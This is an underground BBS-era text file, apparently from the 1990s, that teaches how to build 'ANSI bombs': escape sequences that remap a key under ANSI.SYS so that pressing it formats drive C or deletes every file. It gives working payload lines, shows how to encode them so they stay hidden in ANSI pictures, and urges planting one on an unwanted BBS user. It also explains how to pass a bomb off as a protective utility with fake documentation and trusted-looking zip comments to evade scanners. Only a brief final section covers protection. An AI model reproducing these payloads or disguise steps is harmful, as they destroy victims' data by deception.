Properly Constructing the AnsiBomd........By Vandal
First off if the intended victim does not have ANSI.SYS or has PKSFANSI.COM
this will not werk!!!!
Ok..first off an ansi bomb is a set ov commands that re-define the keys
on your keyboard to issue commands. For Example you could redefine the "A" to
issue the command Edit. Or you could re-define the "W" Key as FORMAT C:.
thats where the key redefination becomes a Bomb hehehehe...The first way to make
an ansi bomb is to make it into a batch file. this is simple the easiest way is
to use the "PROMPT" command from Dos.
[Example](from Dos)
copy con ansibomb.bat
prompt $E[A;13 "ECHO Y |FORMAT C:>NUL";13p
^Z
now you have a BAT phile that when the A key is hit the system does the
following
RETURN
FORMAT C:
RETURN
The "ECHO Y" means that the command for
WARNING!!
ALL DATA ON THIS DRIVE WILL BE LOST!!!
CONTINUE (Y/N)
will automatically be answered with a "Y"
pretty sneaky huh, but a BAT file called ANSIBOMB.BAT is not exactly smoething
that any person with half a clue is going to run without checking out. So
heres where you will need some useful utilitys the list goes as follows
1-A CHART OV ASCII KEY CODES
2-THE DRAW ANSI CREATOR (or it's equivilant if you want to work with pictures)
There are more utilitys but for now that is all that is nessecary. Now take an
ansi picture that have lying around load it up with the draw and go to the
bottom ov the picture. type the following
ESC[13;13;101;99;104;111;32;121;32;124;32;100;101;108;32;42;46;42;32;62;32;
110;117;108'13p (not this would normally all be on one line)
the ASCII Key chart is used to werk with numbers insted ov letters so that the
intended victim does not spot the werds so instead ov RETURN you have 13
this will not be seen when the picture is viewed. But when the "A" key is
typed the above line will do the following
RETURN
ECHO Y|DEL *.*>NUL
RETURN
pretty dangerous huh!!! By simply Viewing the the phile with the ansi bomb the
keys may be redifined!!
Now heres where we get sneaky....Most term programs come with thier own ansi
Drivers that will not allowed keys to be redefined. Here is a list of term
programs that have thier own ansi drivers
QMODEM PRO
PROCOMM PLUS
TELIX
BIT COM
there are others but if you are not sure if YOUR system comes with one I would
highly recomend putting PKSFANSI.COM into your AUTOEXEC.BAT If it does not have
it's own ANSi Driver then your keys may be redefined by Viewing a post or ansi
on A BBS.
Now lets say you are a sysop ov a BBS and you have this same Rodent logging
onto your board and you have to repeatidly delete him. Heres a way to take
care ov him. Take a text file that you use for new users (if you don't have
one then make one for this occasion). attach the above command to the bottom ov
the text file and write a nice message one the letter like "FUCK YOU RODENT WE
WANT REAL USERS TAKE A HIKE" as he views this thru the TYPE command his keys
will be redifined. You can be pretty sure he won't be calling back.
----------------------FURTHER USES--------------------------------------------
OK the above data anyone with half a clue already knew so here is where it gets
P/Hun
---NEEDED UTILITYS------------------------------------------------------------
1-BAT2EXEC.COM
2-PKZIP (Or a program that allows coments to be added to a zip)
3-NW.ZIP (The Nowhere Man Utilitys)
4-THCK (Nice but not nessecary)
------------------------------------------------------------------------------
OK make an ANSIBOMB in the form ov a batch phile. Make it real nice. One ov
my favorite is to make the Bomb Titled PKSFANSI.BAT.
Next take BAT2EXEC and turn the BAT into a COM, Use the Nowhere Man Utilitys to
remove the Stamp on it. And Use Either FakeFile from the Nowhere Man Utilitys
or The THCK-FP to add to the size ov thee phile. Next make the DOCs,
FILE-ID.DIZ and the READ.ME for it. Then Zip it all up, Use PKZIP -C to add a
comment such as....

------------------------------------------------------------------------------
It's also Good to add comments from BBS's that carry a lot ov PD warez and have
been known to check all the philes before allowing them on the system.
simple huh....and with the COM phile ANSICHEK will not find the ANSi bomb these
cannot be discovered by any Virus Checkers or the Such.
------------------------------------------------------------------------------
OK there are some ansi bomb creation Devices (That I know ov) that I will tell
you about now
ANSIBMBR.EXE automatically writes bomb into a TXT or BAT when you give the
specific Key to Redifine and Command to Execute
ANSIMAKE.COM Excellent for Pictures werks the same way as ANSIBMBR but on ANSi
pictures
ANSIBOMB.EXE For ANSi pictures again You give the Key to Re-define and it gives
you the choice ov Either 1)del *.* or 2)format C:
------------------------------------------------------------------------------
PROTECTING YOURSELF
here are some ov the philes needed to protect yourself from ANSi Bombs
1)PKSFANSI.COM dissables Key Redifination
2)ANSICHEK.COM searches TXT's and ANS's for Bombs
3)ACHKFILE.COM searches Specific Files for ANSIBOMBS
and the simple solution don't use ANSI.SYS. ZANSI.SYS is excellent and doesnt
allow key redifination
